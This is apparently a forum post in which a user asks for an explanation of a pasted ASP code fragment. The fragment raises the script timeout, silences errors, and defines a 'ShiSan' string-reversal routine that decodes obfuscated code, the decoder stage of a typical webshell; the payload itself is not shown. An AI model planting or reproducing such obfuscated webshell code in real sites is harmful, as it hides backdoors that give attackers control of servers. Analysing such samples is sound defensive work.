我看不懂，谁能给大家讲讲啊
<%
Server.ScriptTimeout=999999999
Response.Buffer =true
On Error Resume Next

sub ShowErr()

    If Err Then
        RRS"<br><a href='javascript:history.back()'><br> " & Err.Description & "</a><br>"
        Err.Clear
        Response.Flush
    End If

end sub

Sub RRS(str)
    response.write(str)
End Sub

dim ShiSan,ShiSanNewstr,ShiSanI
Function ShiSanFun(ShiSanObjstr)

    ShiSanObjstr = Replace(ShiSanObjstr, "╁", """")
    For ShiSanI = 1 To Len(ShiSanObjstr)

        If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then
             ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
        Else
            ShiSanNewStr = vbCrLf & ShiSanNewStr
        End If
    Next
    ShiSanFun = ShiSanNewStr
End Function